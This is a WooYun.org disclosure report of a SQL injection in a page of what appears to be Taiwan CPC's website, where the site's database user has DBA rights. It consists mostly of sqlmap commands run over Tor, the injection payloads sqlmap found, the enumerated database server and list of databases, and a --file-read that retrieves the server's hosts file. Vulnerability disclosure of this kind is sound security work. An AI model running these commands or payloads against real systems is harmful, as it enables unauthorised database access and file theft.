WooYun.org

台湾中石化SQL注入(DBA权限,可读取任意文件)
./sqlmap.py --tor --tor-type=SOCKS5 --random-agent --time-sec=20 --technique=BEUT --union-char=N -u "http://**.**.**.**/chinese/04_ir/04ir_02property.php?ID=2&SID=100" -p SID --threads=6 --dbs --is-dba
---
Parameter: SID (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: ID=2&SID=100 AND 5717=5717
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: ID=2&SID=100 AND (SELECT 1703 FROM(SELECT COUNT(*),CONCAT(0x71766b7871,(SELECT (ELT(1703=1703,1))),0x7171707671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
---
[13:01:30] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: PHP 4.4.7, Apache 2.0.59
back-end DBMS: MySQL 5.0
[13:01:32] [INFO] retrieved: root@localhost
current user is DBA: True
available databases [6]:
[*] chemax
[*] cpdc
[*] information_schema
[*] mysql
[*] phpmyadmin
[*] test
可下载文件
$ ./sqlmap.py --tor --tor-type=SOCKS5 --random-agent --time-sec=20 --technique=BEUT --union-char=N -u "http://**.**.**.**/chinese/04_ir/04ir_02property.php?ID=2&SID=100" -p SID --threads=6
--file-read "C:/windows/system32/drivers/etc/hosts" -v 1
# Copyright (c) 1993-1999 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
#
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a '#' symbol.
#
# For example:
#
# **.**.**.** **.**.**.** # source server
# **.**.**.** **.**.**.** # x client host
**.**.**.** localhost
#**.**.**.** **.**.**.**py